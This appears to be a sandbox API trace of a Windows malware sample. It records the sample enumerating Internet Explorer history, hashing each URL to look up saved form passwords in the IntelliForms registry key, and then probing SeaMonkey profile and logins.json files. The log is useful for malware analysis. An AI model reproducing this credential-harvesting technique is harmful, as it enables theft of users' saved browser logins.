	[0211.588] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23fd9ac, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23fd9ac, pdwDataLen=0x5ffde9c) returned 1
	[0211.588] GetLastError () returned 0x0
	[0211.588] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.588] CryptReleaseContext (hProv=0x5b0958, dwFlags=0x0) returned 1
	[0211.588] GetLastError () returned 0x0
	[0211.588] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.588] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.588] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.588] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.589] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.589] CoTaskMemFree (pv=0x59d400) 
	[0211.589] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0958) returned 1
	[0211.590] GetLastError () returned 0x0
	[0211.590] CryptCreateHash (in: hProv=0x5b0958, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.590] GetLastError () returned 0x0
	[0211.590] CryptHashData (hHash=0x5bb4b0, pbData=0x23fe688, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0211.590] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23fe780, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23fe780, pdwDataLen=0x5ffde9c) returned 1
	[0211.590] GetLastError () returned 0x0
	[0211.591] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.591] CryptReleaseContext (hProv=0x5b0958, dwFlags=0x0) returned 1
	[0211.591] GetLastError () returned 0x0
	[0211.591] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.591] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.591] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.591] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.592] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.592] CoTaskMemFree (pv=0x56fe48) 
	[0211.592] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0958) returned 1
	[0211.593] GetLastError () returned 0x0
	[0211.593] CryptCreateHash (in: hProv=0x5b0958, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.593] GetLastError () returned 0x0
	[0211.593] CryptHashData (hHash=0x5bb4b0, pbData=0x23ff48c, dwDataLen=0x8a, dwFlags=0x0) returned 1
	[0211.593] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23ff59c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23ff59c, pdwDataLen=0x5ffde9c) returned 1
	[0211.593] GetLastError () returned 0x0
	[0211.593] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.593] CryptReleaseContext (hProv=0x5b0958, dwFlags=0x0) returned 1
	[0211.593] GetLastError () returned 0x0
	[0211.593] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.594] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.594] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.594] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.595] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.595] CoTaskMemFree (pv=0x5b0c00) 
	[0211.595] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0c00) returned 1
	[0211.596] GetLastError () returned 0x0
	[0211.596] CryptCreateHash (in: hProv=0x5b0c00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.596] GetLastError () returned 0x0
	[0211.596] CryptHashData (hHash=0x5bb4b0, pbData=0x2400294, dwDataLen=0x80, dwFlags=0x0) returned 1
	[0211.596] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x240039c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x240039c, pdwDataLen=0x5ffde9c) returned 1
	[0211.596] GetLastError () returned 0x0
	[0211.596] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.596] CryptReleaseContext (hProv=0x5b0c00, dwFlags=0x0) returned 1
	[0211.596] GetLastError () returned 0x0
	[0211.596] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.596] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.596] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.597] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.597] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.597] CoTaskMemFree (pv=0x58b728) 
	[0211.597] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0c00) returned 1
	[0211.598] GetLastError () returned 0x0
	[0211.598] CryptCreateHash (in: hProv=0x5b0c00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.598] GetLastError () returned 0x0
	[0211.598] CryptHashData (hHash=0x5bb4b0, pbData=0x2401098, dwDataLen=0x82, dwFlags=0x0) returned 1
	[0211.598] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x24011a0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x24011a0, pdwDataLen=0x5ffde9c) returned 1
	[0211.598] GetLastError () returned 0x0
	[0211.599] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.599] CryptReleaseContext (hProv=0x5b0c00, dwFlags=0x0) returned 1
	[0211.599] GetLastError () returned 0x0
	[0211.599] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.599] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.599] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.599] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.600] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.600] CoTaskMemFree (pv=0x5d57c0) 
	[0211.600] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0c00) returned 1
	[0211.601] GetLastError () returned 0x0
	[0211.601] CryptCreateHash (in: hProv=0x5b0c00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.601] GetLastError () returned 0x0
	[0211.601] CryptHashData (hHash=0x5bb4b0, pbData=0x2401e50, dwDataLen=0x5c, dwFlags=0x0) returned 1
	[0211.601] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2401f34, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2401f34, pdwDataLen=0x5ffde9c) returned 1
	[0211.601] GetLastError () returned 0x0
	[0211.601] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.601] CryptReleaseContext (hProv=0x5b0c00, dwFlags=0x0) returned 1
	[0211.601] GetLastError () returned 0x0
	[0211.601] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.601] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.602] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.602] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.602] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.603] CoTaskMemFree (pv=0x55d320) 
	[0211.603] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0c00) returned 1
	[0211.604] GetLastError () returned 0x0
	[0211.604] CryptCreateHash (in: hProv=0x5b0c00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.604] GetLastError () returned 0x0
	[0211.604] CryptHashData (hHash=0x5bb4b0, pbData=0x2402ca4, dwDataLen=0xbc, dwFlags=0x0) returned 1
	[0211.604] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2402de8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2402de8, pdwDataLen=0x5ffde9c) returned 1
	[0211.604] GetLastError () returned 0x0
	[0211.604] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.604] CryptReleaseContext (hProv=0x5b0c00, dwFlags=0x0) returned 1
	[0211.604] GetLastError () returned 0x0
	[0211.604] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.604] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.604] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.605] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.605] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.605] CoTaskMemFree (pv=0x547b28) 
	[0211.605] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0c00) returned 1
	[0211.606] GetLastError () returned 0x0
	[0211.606] CryptCreateHash (in: hProv=0x5b0c00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.606] GetLastError () returned 0x0
	[0211.606] CryptHashData (hHash=0x5bb4b0, pbData=0x2403aac, dwDataLen=0x66, dwFlags=0x0) returned 1
	[0211.606] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2403b98, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2403b98, pdwDataLen=0x5ffde9c) returned 1
	[0211.606] GetLastError () returned 0x0
	[0211.606] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.607] CryptReleaseContext (hProv=0x5b0c00, dwFlags=0x0) returned 1
	[0211.607] GetLastError () returned 0x0
	[0211.607] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.607] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.607] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.607] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.608] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.608] CoTaskMemFree (pv=0x5d62e8) 
	[0211.608] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0c00) returned 1
	[0211.609] GetLastError () returned 0x0
	[0211.609] CryptCreateHash (in: hProv=0x5b0c00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.609] GetLastError () returned 0x0
	[0211.609] CryptHashData (hHash=0x5bb4b0, pbData=0x24048c8, dwDataLen=0x9c, dwFlags=0x0) returned 1
	[0211.609] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x24049ec, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x24049ec, pdwDataLen=0x5ffde9c) returned 1
	[0211.609] GetLastError () returned 0x0
	[0211.609] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.609] CryptReleaseContext (hProv=0x5b0c00, dwFlags=0x0) returned 1
	[0211.609] GetLastError () returned 0x0
	[0211.609] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.610] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.610] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.610] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.611] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.611] CoTaskMemFree (pv=0x547f88) 
	[0211.611] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.612] GetLastError () returned 0x0
	[0211.612] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.612] GetLastError () returned 0x0
	[0211.612] CryptHashData (hHash=0x5bb4b0, pbData=0x24056b0, dwDataLen=0x66, dwFlags=0x0) returned 1
	[0211.612] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x240579c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x240579c, pdwDataLen=0x5ffde9c) returned 1
	[0211.612] GetLastError () returned 0x0
	[0211.613] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.613] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.613] GetLastError () returned 0x0
	[0211.613] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.613] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.613] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.613] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.614] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.614] CoTaskMemFree (pv=0x5a1800) 
	[0211.614] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.615] GetLastError () returned 0x0
	[0211.615] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.615] GetLastError () returned 0x0
	[0211.615] CryptHashData (hHash=0x5bb4b0, pbData=0x24064c4, dwDataLen=0x98, dwFlags=0x0) returned 1
	[0211.616] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x24065e4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x24065e4, pdwDataLen=0x5ffde9c) returned 1
	[0211.616] GetLastError () returned 0x0
	[0211.616] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.616] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.616] GetLastError () returned 0x0
	[0211.616] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.616] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.616] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.617] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.617] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.617] CoTaskMemFree (pv=0x5de570) 
	[0211.617] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.619] GetLastError () returned 0x0
	[0211.619] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.619] GetLastError () returned 0x0
	[0211.619] CryptHashData (hHash=0x5bb4b0, pbData=0x2407324, dwDataLen=0xa4, dwFlags=0x0) returned 1
	[0211.619] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2407450, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2407450, pdwDataLen=0x5ffde9c) returned 1
	[0211.619] GetLastError () returned 0x0
	[0211.619] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.619] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.619] GetLastError () returned 0x0
	[0211.619] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.619] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.619] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.620] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.620] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.621] CoTaskMemFree (pv=0x5e9be0) 
	[0211.621] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.622] GetLastError () returned 0x0
	[0211.622] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.622] GetLastError () returned 0x0
	[0211.622] CryptHashData (hHash=0x5bb4b0, pbData=0x24081a4, dwDataLen=0xae, dwFlags=0x0) returned 1
	[0211.622] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x24082d8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x24082d8, pdwDataLen=0x5ffde9c) returned 1
	[0211.622] GetLastError () returned 0x0
	[0211.622] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.622] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.622] GetLastError () returned 0x0
	[0211.622] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.623] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.623] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.623] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.624] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.624] CoTaskMemFree (pv=0x59db80) 
	[0211.624] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e998) returned 1
	[0211.625] GetLastError () returned 0x0
	[0211.625] CryptCreateHash (in: hProv=0x54e998, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.625] GetLastError () returned 0x0
	[0211.625] CryptHashData (hHash=0x5bb4b0, pbData=0x2408fc0, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0211.625] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x24090c0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x24090c0, pdwDataLen=0x5ffde9c) returned 1
	[0211.625] GetLastError () returned 0x0
	[0211.626] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.626] CryptReleaseContext (hProv=0x54e998, dwFlags=0x0) returned 1
	[0211.626] GetLastError () returned 0x0
	[0211.626] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.626] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.626] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.626] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x0) returned 0x1
	[0211.627] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.636] CoGetContextToken (in: pToken=0x5ffde88 | out: pToken=0x5ffde88) returned 0x0
	[0211.636] IUnknown:Release (This=0x5b7be0) returned 0x4
	[0211.636] IUnknown:Release (This=0x5b7be0) returned 0x3
	[0211.655] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Program Files (x86)") returned 0x0
	[0211.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x5ffe118, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16
	[0211.658] GetLastError () returned 0x3f0
	[0211.660] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x0
	[0211.661] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x5ffe118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0211.661] GetLastError () returned 0x3f0
	[0211.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Apple\\Apple Application Support\\plutil.exe", nBufferLength=0x105, lpBuffer=0x5ffe154, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Apple\\Apple Application Support\\plutil.exe", lpFilePart=0x0) returned 0x4e
	[0211.695] GetLastError () returned 0x3f0
	[0211.695] SetErrorMode (uMode=0x1) returned 0x0
	[0211.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Apple\\Apple Application Support\\plutil.exe" (normalized: "c:\\program files (x86)\\common files\\apple\\apple application support\\plutil.exe"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5d4 | out: lpFileInformation=0x5ffe5d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0211.695] GetLastError () returned 0x3
	[0211.695] SetErrorMode (uMode=0x0) returned 0x1
	[0211.738] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini", nBufferLength=0x105, lpBuffer=0x5ffdff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini", lpFilePart=0x0) returned 0x40
	[0211.738] GetLastError () returned 0x3
	[0211.738] SetErrorMode (uMode=0x1) returned 0x0
	[0211.738] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\seamonkey\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff
	[0211.738] GetLastError () returned 0x3
	[0211.980] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\SeaMonkey\\logins.json", nBufferLength=0x105, lpBuffer=0x5ffe174, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\SeaMonkey\\logins.json", lpFilePart=0x0) returned 0x3f
	[0211.981] GetLastError () returned 0x3
	[0211.981] SetErrorMode (uMode=0x1) returned 0x0
	[0211.981] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Mozilla\\SeaMonkey\\logins.json" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\mozilla\\seamonkey\\logins.json"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5f4 | out: lpFileInformation=0x5ffe5f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0211.981] GetLastError () returned 0x3
	[0211.981] SetErrorMode (uMode=0x0) returned 0x1
	[0211.995] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Local") returned 0x0
